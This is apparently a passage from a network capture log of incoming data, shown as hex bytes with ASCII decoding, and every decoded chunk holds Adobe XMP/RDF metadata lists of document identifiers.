2022-07-20 17:08:49 UTC	3437	IN	Data Raw: 64 66 3a 6c 69 3e 75 75 69 64 3a 46 34 38 33 34 36 41 45 35 34 39 34 31 31 44 41 38 45 43 32 43 32 46 37 32 38 33 38 46 39 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 34 45 43 43 43 30 45 35 43 35 37 44 45 31 31 39 38 34 38 43 41 36 31 30 38 41 44 38 44 41 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 34 45 45 43 43 43 31 37 42 36 42 31 31 44 44 41 45 33 30 42 30 30 44 32 41 45 32 30 45 39 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 35 32 32 37 31 43 39 45 44 32 38 31 31 44 42 41 32 44 35 45 37 42 45 42 38 38 37 42 39 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 35 33 35 38 36 41 35 33 37 32 35 31 31 44 41 39 34 32 34 46 38 33 46 Data Ascii: df:li>uuid:F48346AE549411DA8EC2C2F72838F970</rdf:li> <rdf:li>uuid:F4ECCC0E5C57DE119848CA6108AD8DAF</rdf:li> <rdf:li>uuid:F4EECCC17B6B11DDAE30B00D2AE20E9C</rdf:li> <rdf:li>uuid:F52271C9ED2811DBA2D5E7BEB887B9BC</rdf:li> <rdf:li>uuid:F53586A5372511DA9424F83F
2022-07-20 17:08:49 UTC	3453	IN	Data Raw: 38 31 31 38 30 38 33 41 31 41 33 42 35 33 37 42 44 45 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 42 38 37 36 41 35 32 36 39 31 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 43 31 43 45 41 31 44 42 45 34 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 43 44 37 44 46 42 31 32 32 34 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 44 38 30 41 34 39 42 41 35 37 32 42 3c 2f 72 64 Data Ascii: 8118083A1A3B537BDE7</rdf:li> <rdf:li>xmp.did:02801174072068118083B876A52691D7</rdf:li> <rdf:li>xmp.did:02801174072068118083C1CEA1DBE42C</rdf:li> <rdf:li>xmp.did:02801174072068118083CD7DFB1224F5</rdf:li> <rdf:li>xmp.did:02801174072068118083D80A49BA572B</rd
2022-07-20 17:08:49 UTC	3469	IN	Data Raw: 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 44 41 36 34 45 38 41 44 44 41 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 46 37 30 45 44 46 42 39 44 34 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 32 32 36 46 35 33 36 41 36 32 36 44 41 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 32 32 41 39 30 34 31 30 35 34 31 39 39 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e Data Ascii: B</rdf:li> <rdf:li>xmp.did:06801174072068118083DA64E8ADDAE9</rdf:li> <rdf:li>xmp.did:06801174072068118083F70EDFB9D424</rdf:li> <rdf:li>xmp.did:06801174072068118226F536A626DAC6</rdf:li> <rdf:li>xmp.did:0680117407206811822A9041054199D1</rdf:li> <rdf:li>xmp.
2022-07-20 17:08:50 UTC	3477	IN	Data Raw: 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 42 46 30 39 37 46 37 43 35 37 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 43 38 33 46 35 31 32 37 38 45 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 45 37 41 36 41 32 38 31 42 31 32 35 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 34 31 31 39 36 42 43 36 41 39 37 31 32 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 Data Ascii: li>xmp.did:088011740720681192B0BF097F7C5780</rdf:li> <rdf:li>xmp.did:088011740720681192B0C83F51278E40</rdf:li> <rdf:li>xmp.did:088011740720681192E7A6A281B12522</rdf:li> <rdf:li>xmp.did:0880117407206811941196BC6A9712A4</rdf:li> <rdf:li>xmp.did:088011740720
2022-07-20 17:08:50 UTC	3493	IN	Data Raw: 30 36 38 31 31 39 39 34 43 45 37 39 41 35 37 35 35 35 41 41 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 35 34 30 46 46 43 33 37 30 35 45 31 31 45 30 38 46 30 31 44 46 42 32 30 46 35 44 37 42 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 35 34 43 42 38 39 45 43 30 32 30 36 38 31 31 38 38 43 36 39 36 45 44 46 38 38 43 39 45 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 35 35 41 36 33 31 39 30 41 32 30 36 38 31 31 38 46 36 32 45 31 39 30 32 36 33 31 31 35 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 35 35 63 64 37 38 33 2d 65 38 65 34 2d 62 63 34 64 2d 62 65 37 64 2d 38 64 38 33 61 36 33 62 35 37 Data Ascii: 06811994CE79A57555AA0</rdf:li> <rdf:li>xmp.did:1540FFC3705E11E08F01DFB20F5D7BF9</rdf:li> <rdf:li>xmp.did:154CB89EC020681188C696EDF88C9E6F</rdf:li> <rdf:li>xmp.did:155A63190A2068118F62E190263115F9</rdf:li> <rdf:li>xmp.did:155cd783-e8e4-bc4d-be7d-8d83a63b57
2022-07-20 17:08:50 UTC	3509	IN	Data Raw: 64 3a 32 34 34 37 35 36 44 33 31 30 32 30 36 38 31 31 38 44 42 42 45 33 31 41 31 39 32 46 45 45 44 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 34 35 30 45 30 45 44 39 34 32 31 36 38 31 31 39 37 41 35 39 30 44 38 33 33 46 34 43 42 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 34 35 32 35 39 63 30 2d 37 64 66 63 2d 34 38 38 30 2d 61 38 33 63 2d 66 32 37 32 37 66 35 63 32 32 66 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 34 36 38 42 39 34 31 42 35 32 35 36 38 31 31 38 32 32 41 46 44 38 45 36 43 42 44 39 38 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 34 37 30 30 30 37 35 37 31 43 38 45 30 31 31 39 Data Ascii: d:244756D3102068118DBBE31A192FEEDC</rdf:li> <rdf:li>xmp.did:2450E0ED9421681197A590D833F4CB14</rdf:li> <rdf:li>xmp.did:245259c0-7dfc-4880-a83c-f2727f5c22fb</rdf:li> <rdf:li>xmp.did:2468B941B5256811822AFD8E6CBD98C8</rdf:li> <rdf:li>xmp.did:2470007571C8E0119
2022-07-20 17:08:50 UTC	3517	IN	Data Raw: 32 43 33 37 31 43 45 35 41 36 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 43 34 31 39 31 30 38 37 31 30 41 31 31 45 30 38 37 45 45 44 42 31 46 38 46 30 39 31 33 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 43 35 45 41 36 38 46 38 30 37 32 45 30 31 31 41 31 36 39 39 38 45 45 39 32 36 31 45 44 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 43 36 46 30 30 30 34 43 45 32 30 36 38 31 31 41 42 30 38 39 44 36 36 31 42 42 31 35 37 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 43 37 36 37 37 44 42 38 34 32 45 45 30 31 31 38 32 44 37 45 36 37 Data Ascii: 2C371CE5A6226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:2C419108710A11E087EEDB1F8F091328</rdf:li> <rdf:li>xmp.did:2C5EA68F8072E011A16998EE9261ED64</rdf:li> <rdf:li>xmp.did:2C6F0004CE206811AB089D661BB157E8</rdf:li> <rdf:li>xmp.did:2C7677DB842EE01182D7E67
2022-07-20 17:08:50 UTC	3533	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 39 30 34 45 31 36 43 43 41 32 30 36 38 31 31 38 36 42 31 44 33 36 42 45 39 35 43 44 37 46 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 39 32 37 34 32 32 30 46 32 30 34 44 46 31 31 38 38 38 39 45 38 35 42 41 33 35 36 45 34 43 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 39 32 37 38 44 43 44 42 39 34 36 31 31 44 46 39 31 43 42 46 32 31 39 32 38 30 33 46 38 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 39 34 36 36 36 36 33 45 39 32 42 45 35 31 31 41 41 39 41 41 37 30 46 37 37 41 39 45 43 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 39 34 42 39 Data Ascii: > <rdf:li>xmp.did:3904E16CCA20681186B1D36BE95CD7F0</rdf:li> <rdf:li>xmp.did:39274220F204DF118889E85BA356E4CC</rdf:li> <rdf:li>xmp.did:39278DCDB94611DF91CBF2192803F856</rdf:li> <rdf:li>xmp.did:39466663E92BE511AA9AA70F77A9ECC2</rdf:li> <rdf:li>xmp.did:394B9
2022-07-20 17:08:50 UTC	3549	IN	Data Raw: 34 37 42 31 46 44 34 30 41 32 32 31 36 38 31 31 39 37 34 45 46 31 32 34 46 34 45 38 34 32 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 42 35 39 31 36 41 35 42 32 36 36 38 31 31 38 33 44 31 41 46 37 41 30 30 46 33 36 39 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 43 31 44 43 39 35 39 38 32 30 36 38 31 31 38 30 38 33 41 32 42 36 43 32 38 33 31 33 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 46 35 42 30 33 34 31 46 32 34 36 38 31 31 38 46 36 32 41 34 43 37 41 45 46 39 33 35 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 64 30 34 65 36 39 2d 61 61 37 65 2d 34 36 63 64 2d 38 30 62 34 Data Ascii: 47B1FD40A2216811974EF124F4E8427B</rdf:li> <rdf:li>xmp.did:47B5916A5B26681183D1AF7A00F36933</rdf:li> <rdf:li>xmp.did:47C1DC95982068118083A2B6C28313CA</rdf:li> <rdf:li>xmp.did:47F5B0341F2468118F62A4C7AEF93527</rdf:li> <rdf:li>xmp.did:47d04e69-aa7e-46cd-80b4
2022-07-20 17:08:50 UTC	3557	IN	Data Raw: 35 2d 65 66 34 36 2d 61 65 35 31 2d 38 35 38 65 34 64 61 34 66 31 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 35 62 62 35 61 62 2d 64 36 38 32 2d 66 34 34 32 2d 61 34 37 34 2d 64 37 63 35 39 39 37 64 34 63 65 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 38 38 32 30 65 62 2d 61 31 39 61 2d 34 64 64 61 2d 39 32 31 39 2d 35 38 65 64 66 33 65 38 36 61 35 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 39 64 61 62 36 36 2d 30 35 39 65 2d 65 62 34 63 2d 38 34 30 37 2d 66 38 32 62 64 66 63 62 63 30 61 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 62 34 31 37 34 65 2d 38 39 64 64 2d 34 63 66 61 2d Data Ascii: 5-ef46-ae51-858e4da4f143</rdf:li> <rdf:li>xmp.did:4f5bb5ab-d682-f442-a474-d7c5997d4ce8</rdf:li> <rdf:li>xmp.did:4f8820eb-a19a-4dda-9219-58edf3e86a5c</rdf:li> <rdf:li>xmp.did:4f9dab66-059e-eb4c-8407-f82bdfcbc0a4</rdf:li> <rdf:li>xmp.did:4fb4174e-89dd-4cfa-
2022-07-20 17:08:50 UTC	3573	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 61 39 33 65 34 32 32 2d 34 35 64 65 2d 34 38 65 62 2d 62 62 61 34 2d 64 36 61 39 34 66 64 31 30 34 39 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 62 31 30 30 39 65 35 2d 66 32 65 39 2d 34 66 37 33 2d 61 61 36 31 2d 63 64 30 30 64 34 33 37 39 36 30 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 62 33 34 36 66 37 39 2d 61 37 37 34 2d 62 38 34 62 2d 61 32 34 35 2d 63 61 62 64 66 66 38 65 30 63 61 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 62 37 34 61 35 39 31 2d 38 63 34 64 2d 34 36 32 30 2d 39 32 38 36 2d 63 35 31 33 66 33 62 36 34 35 65 61 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: df:li> <rdf:li>xmp.did:5a93e422-45de-48eb-bba4-d6a94fd1049d</rdf:li> <rdf:li>xmp.did:5b1009e5-f2e9-4f73-aa61-cd00d437960d</rdf:li> <rdf:li>xmp.did:5b346f79-a774-b84b-a245-cabdff8e0ca3</rdf:li> <rdf:li>xmp.did:5b74a591-8c4d-4620-9286-c513f3b645ea</rdf:li>
2022-07-20 17:08:50 UTC	3589	IN	Data Raw: 6d 70 2e 64 69 64 3a 36 44 41 41 38 41 42 42 45 30 38 34 45 33 31 31 38 34 33 44 46 44 32 37 37 37 42 39 31 41 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 44 42 39 37 46 30 41 45 31 32 30 36 38 31 31 41 46 46 44 44 44 35 36 43 46 43 35 36 39 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 44 43 34 46 43 36 38 35 31 35 46 45 30 31 31 41 35 45 32 39 33 38 45 31 34 34 45 32 33 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 44 43 35 43 30 43 41 39 31 45 44 45 31 31 31 38 36 37 39 44 46 32 41 42 31 39 35 39 30 34 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 44 46 46 43 42 33 46 31 42 32 30 36 38 31 31 Data Ascii: mp.did:6DAA8ABBE084E311843DFD2777B91AD0</rdf:li> <rdf:li>xmp.did:6DB97F0AE1206811AFFDDD56CFC56907</rdf:li> <rdf:li>xmp.did:6DC4FC68515FE011A5E2938E144E233D</rdf:li> <rdf:li>xmp.did:6DC5C0CA91EDE1118679DF2AB195904F</rdf:li> <rdf:li>xmp.did:6DFFCB3F1B206811
2022-07-20 17:08:50 UTC	3596	IN	Data Raw: 30 36 38 31 31 38 43 31 34 46 39 35 44 33 43 39 34 44 44 32 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 31 31 37 46 43 44 32 30 30 37 31 31 36 38 42 42 35 34 46 37 38 32 37 39 31 43 31 30 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 31 31 37 46 44 39 32 30 30 37 31 31 36 38 39 46 37 37 41 34 46 46 32 37 42 42 38 38 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 31 31 37 46 45 30 32 30 30 37 31 31 36 38 39 30 39 38 45 30 31 42 30 35 46 45 42 30 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 31 31 37 46 45 31 32 30 30 37 31 31 36 38 38 44 36 39 42 33 45 43 30 43 41 34 45 33 34 38 3c 2f Data Ascii: 068118C14F95D3C94DD26</rdf:li> <rdf:li>xmp.did:74117FCD20071168BB54F782791C10D3</rdf:li> <rdf:li>xmp.did:74117FD9200711689F77A4FF27BB8825</rdf:li> <rdf:li>xmp.did:74117FE0200711689098E01B05FEB0A4</rdf:li> <rdf:li>xmp.did:74117FE1200711688D69B3EC0CA4E348</
2022-07-20 17:08:50 UTC	3612	IN	Data Raw: 35 45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 33 38 64 35 34 34 33 2d 34 65 33 34 2d 31 32 34 36 2d 61 66 34 31 2d 65 64 65 65 61 34 66 64 34 33 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 33 41 31 34 34 41 38 33 33 32 30 36 38 31 31 39 34 35 37 45 33 32 33 39 37 34 46 32 39 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 33 42 31 32 41 33 39 43 33 32 30 36 38 31 31 41 36 32 44 44 39 35 36 37 41 36 33 37 42 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 33 42 44 31 35 35 34 35 37 32 30 36 38 31 31 38 37 31 46 44 41 31 36 41 45 31 42 44 33 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 Data Ascii: 5E581</rdf:li> <rdf:li>xmp.did:838d5443-4e34-1246-af41-edeea4fd4360</rdf:li> <rdf:li>xmp.did:83A144A8332068119457E323974F29FA</rdf:li> <rdf:li>xmp.did:83B12A39C3206811A62DD9567A637BE5</rdf:li> <rdf:li>xmp.did:83BD155457206811871FDA16AE1BD36B</rdf:li> <rdf
2022-07-20 17:08:50 UTC	3628	IN	Data Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 30 32 36 44 34 41 43 31 42 32 30 36 38 31 31 38 43 31 34 42 38 37 30 37 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 30 32 41 39 30 44 37 32 32 32 30 36 38 31 31 38 43 31 34 46 35 41 43 37 33 44 44 38 31 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 30 33 32 32 32 43 41 42 32 46 35 45 32 31 31 39 34 45 36 44 37 42 30 31 43 32 32 30 33 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 30 33 32 45 34 38 34 33 45 37 33 31 31 45 37 38 45 32 38 45 31 30 38 36 46 35 31 33 36 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 30 34 46 44 41 32 44 30 42 32 Data Ascii: :li>xmp.did:9026D4AC1B2068118C14B8707D570A5C</rdf:li> <rdf:li>xmp.did:902A90D7222068118C14F5AC73DD8129</rdf:li> <rdf:li>xmp.did:903222CAB2F5E21194E6D7B01C220364</rdf:li> <rdf:li>xmp.did:9032E4843E7311E78E28E1086F513663</rdf:li> <rdf:li>xmp.did:904FDA2D0B2
2022-07-20 17:08:50 UTC	3636	IN	Data Raw: 32 31 65 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 66 33 37 31 37 63 2d 61 34 35 66 2d 34 62 39 61 2d 62 37 38 37 2d 35 61 37 64 61 37 65 34 35 37 35 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 37 32 33 31 37 31 38 43 31 32 30 36 38 31 31 39 39 34 43 45 38 33 42 42 42 43 38 36 44 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 37 33 31 44 34 31 32 42 41 43 45 45 30 31 31 38 36 31 36 42 31 42 32 37 30 39 37 30 38 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 37 33 37 41 30 32 44 30 44 41 44 45 30 31 31 39 41 44 46 41 41 37 37 35 32 38 33 42 31 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: 21ee</rdf:li> <rdf:li>xmp.did:96f3717c-a45f-4b9a-b787-5a7da7e4575a</rdf:li> <rdf:li>xmp.did:97231718C1206811994CE83BBBC86D74</rdf:li> <rdf:li>xmp.did:9731D412BACEE0118616B1B270970879</rdf:li> <rdf:li>xmp.did:9737A02D0DADE0119ADFAA775283B1BB</rdf:li> <rdf:
2022-07-20 17:08:50 UTC	3652	IN	Data Raw: 64 69 64 3a 41 38 46 46 41 44 45 43 30 46 32 30 36 38 31 31 39 32 42 30 46 43 38 35 30 32 37 33 30 46 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 39 30 37 45 30 43 42 46 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 39 31 37 37 43 44 42 31 35 32 30 36 38 31 31 41 46 46 44 44 33 32 32 36 30 41 42 33 42 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 39 34 34 38 42 35 41 38 38 32 30 36 38 31 31 38 30 38 33 44 38 36 43 41 31 35 46 41 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 39 38 32 39 46 32 43 41 38 32 32 36 38 31 31 38 32 32 Data Ascii: did:A8FFADEC0F20681192B0FC8502730FE5</rdf:li> <rdf:li>xmp.did:A907E0CBFD9DE111ADD29B684E45E581</rdf:li> <rdf:li>xmp.did:A9177CDB15206811AFFDD32260AB3BBC</rdf:li> <rdf:li>xmp.did:A9448B5A882068118083D86CA15FAF3B</rdf:li> <rdf:li>xmp.did:A9829F2CA8226811822
2022-07-20 17:08:50 UTC	3668	IN	Data Raw: 33 44 35 39 46 30 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 31 36 34 44 46 44 38 34 36 32 32 36 38 31 31 39 37 41 35 46 35 36 32 31 32 39 45 41 38 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 31 37 32 30 44 36 37 43 36 38 30 45 30 31 31 42 36 44 46 38 35 44 41 46 34 31 43 44 39 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 31 44 37 41 32 38 42 30 37 32 30 36 38 31 31 39 35 46 45 38 41 37 43 39 38 43 31 33 38 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 31 46 34 43 33 37 42 30 37 32 30 36 38 31 31 38 30 38 33 42 37 45 36 32 37 42 34 39 36 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: 3D59F01C</rdf:li> <rdf:li>xmp.did:C164DFD84622681197A5F562129EA81F</rdf:li> <rdf:li>xmp.did:C1720D67C680E011B6DF85DAF41CD900</rdf:li> <rdf:li>xmp.did:C1D7A28B0720681195FE8A7C98C1382D</rdf:li> <rdf:li>xmp.did:C1F4C37B072068118083B7E627B4963B</rdf:li> <rdf:
2022-07-20 17:08:50 UTC	3672	IN	Data Raw: 38 33 43 44 46 44 46 39 42 33 35 31 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 37 43 30 37 31 38 42 30 41 32 30 36 38 31 31 38 41 36 44 44 41 41 37 33 42 38 33 42 44 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 37 44 32 30 42 42 42 32 30 33 42 31 31 45 35 42 33 46 38 41 43 32 36 36 37 32 46 45 31 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 37 45 46 39 43 38 46 42 38 32 39 36 38 31 31 38 32 32 41 46 42 45 42 33 36 42 33 44 30 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 37 46 41 39 41 42 44 30 44 32 30 36 38 31 31 39 32 42 30 44 41 32 31 46 46 43 32 37 37 46 46 3c 2f 72 64 66 3a 6c 69 3e Data Ascii: 83CDFDF9B3510D</rdf:li> <rdf:li>xmp.did:C7C0718B0A2068118A6DDAA73B83BD45</rdf:li> <rdf:li>xmp.did:C7D20BBB203B11E5B3F8AC26672FE1DD</rdf:li> <rdf:li>xmp.did:C7EF9C8FB8296811822AFBEB36B3D090</rdf:li> <rdf:li>xmp.did:C7FA9ABD0D20681192B0DA21FFC277FF</rdf:li>
